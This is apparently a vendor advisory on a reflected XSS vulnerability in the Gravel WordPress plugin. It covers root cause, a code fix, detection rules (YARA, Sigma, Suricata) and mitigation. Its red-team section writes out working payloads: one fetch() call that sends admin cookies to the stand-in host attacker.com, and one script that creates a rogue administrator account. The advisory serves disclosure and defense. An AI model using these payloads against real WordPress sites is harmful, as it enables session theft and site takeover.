CVE-2025-31418
Executive Summary
CVE-2025-31418 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Gravel WordPress plugin, developed by Noonnoo. The flaw exists in versions up to and including 1.6, where user-supplied input is not properly neutralized during web page generation. An attacker can craft a malicious URL that, when visited by an authenticated administrator, executes arbitrary JavaScript in the context of the WordPress admin dashboard. This can lead to session hijacking, privilege escalation, or defacement.
CVSS Score: 7.1 (High)
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: Required
Scope: Changed
Confidentiality Impact: Low
Integrity Impact: Low
Availability Impact: Low
EPSS Score: 0.0% (low exploitation probability at time of analysis)
Patch Status: Unpatched – vendor has not released a fix.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed Gravel from the WordPress dashboard or via direct download are at risk. No known supply chain compromise (e.g., malicious commits or backdoored packages) has been reported, but the lack of a patch increases the risk of third-party exploitation.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | None (N) |
| User Interaction (UI) | Required (R) |
| Scope (S) | Changed (C) |
| Confidentiality (C) | Low (L) |
| Integrity (I) | Low (L) |
| Availability (A) | Low (L) |
| Base Score | 7.1 (High) |
Threat Level: High – due to low complexity, no privileges required, and the potential for session hijacking or admin-level actions.
Deep Dive & Mechanics
The vulnerability resides in the Gravel plugin’s handling of URL parameters. When a user accesses a crafted URL such as:
https://target.com/wp-admin/admin.php?page=gravel&tab=<script>alert('XSS')</script>
The plugin reflects the tab parameter directly into the HTML output without proper sanitization or encoding. Because the parameter is inserted into a JavaScript context within the admin page, an attacker can execute arbitrary JavaScript.
Root Cause: The plugin uses echo $_GET['tab'] or similar unsanitized output in the admin panel. WordPress’s built-in esc_attr() or esc_html() functions are not applied.
Attack Flow:
- Attacker crafts a malicious URL containing XSS payload in the
tabparameter. - Attacker sends the URL to an authenticated admin (e.g., via email or social engineering).
- Admin clicks the link while logged into WordPress.
- The payload executes in the admin’s browser, allowing the attacker to:
- Steal session cookies.
- Create new admin users.
- Inject malicious content.
- Perform actions on behalf of the admin.
Vulnerable vs. Patched Code
Vulnerable Code (Gravel <= 1.6):
<?php
// In admin page rendering
$tab = $_GET['tab'];
echo '<div class="wrap">';
echo '<h2>Gravel Settings</h2>';
echo '<div id="tab-content">' . $tab . '</div>';
echo '</div>';
?>
Patched Code (Hypothetical Fix):
<?php
// Properly sanitize output
$tab = isset($_GET['tab']) ? esc_attr($_GET['tab']) : '';
echo '<div class="wrap">';
echo '<h2>Gravel Settings</h2>';
echo '<div id="tab-content">' . esc_html($tab) . '</div>';
echo '</div>';
?>
The fix uses esc_attr() for attribute contexts and esc_html() for HTML body contexts, preventing script injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Target WordPress site with Gravel plugin <= 1.6.
- Authenticated admin session (user interaction required).
Step 1: Craft the malicious URL
https://target.com/wp-admin/admin.php?page=gravel&tab=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Step 2: Deliver the URL via phishing email or social media.
Step 3: Capture the cookie on attacker-controlled server.
Step 4: Use the stolen cookie to impersonate the admin.
Alternative Payload (Admin Creation):
https://target.com/wp-admin/admin.php?page=gravel&tab=<script>var xhr=new XMLHttpRequest();xhr.open('POST','/wp-admin/user-new.php',true);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.send('action=createuser&_wpnonce='+document.querySelector('[name=_wpnonce]').value+'&user_login=eviladmin&email=evil@example.com&pass1=Password123&role=administrator');</script>
Blue Team (Defense & Detection)
Detection Steps:
- Monitor web server logs for requests to
/wp-admin/admin.php?page=gravel&tab=containing<script>oronerrorpatterns. - Deploy a Web Application Firewall (WAF) rule to block
tabparameter values containing HTML/JavaScript. - Use the YARA and Sigma rules below to scan logs and endpoints.
Mitigation:
- Disable or remove the Gravel plugin until a patch is released.
- Implement Content Security Policy (CSP) headers to restrict inline scripts.
- Educate administrators about phishing attacks targeting plugin admin pages.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| URL Pattern | /wp-admin/admin.php?page=gravel&tab=* |
Suspicious requests to Gravel admin page |
| Payload | <script>, onerror, onload |
Common XSS vectors in tab parameter |
| Network | attacker.com/steal?cookie=* |
Outbound requests to attacker-controlled domains |
| Log Entry | GET /wp-admin/admin.php?page=gravel&tab=<script> |
Direct evidence of exploitation attempt |
Detection Engineering
YARA Rule
rule CVE_2025_31418_Gravel_XSS {
meta:
description = "Detects reflected XSS attempts against Gravel plugin CVE-2025-31418"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-31418"
strings:
$url_pattern = "/wp-admin/admin.php?page=gravel&tab="
$xss_payload1 = "<script"
$xss_payload2 = "onerror="
$xss_payload3 = "onload="
$xss_payload4 = "javascript:"
condition:
$url_pattern and any of ($xss_payload*)
}
Sigma Rule
title: Reflected XSS Attempt Against Gravel Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests containing XSS payloads in the tab parameter of Gravel plugin
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains: "/wp-admin/admin.php?page=gravel&tab="
cs-uri-query|contains|any:
- "<script"
- "onerror="
- "onload="
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin panel (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-31418 Gravel Reflected XSS Attempt"; flow:to_server,established; content:"/wp-admin/admin.php?page=gravel&tab="; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Gravel plugin until a patched version is released.
- Implement a WAF rule to block
tabparameter values containing<,>,",', orjavascript:. - Add CSP header to WordPress admin pages:
Content-Security-Policy: default-src 'self'; script-src 'self';
Long-Term Fix:
- The vendor must release version 1.7 with proper input sanitization using
esc_attr()andesc_html(). - Users should monitor the WordPress plugin repository for updates.
Workaround:
- If the plugin is critical, manually patch the vulnerable file (
gravel/admin.php) by replacingecho $tab;withecho esc_html($tab);.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.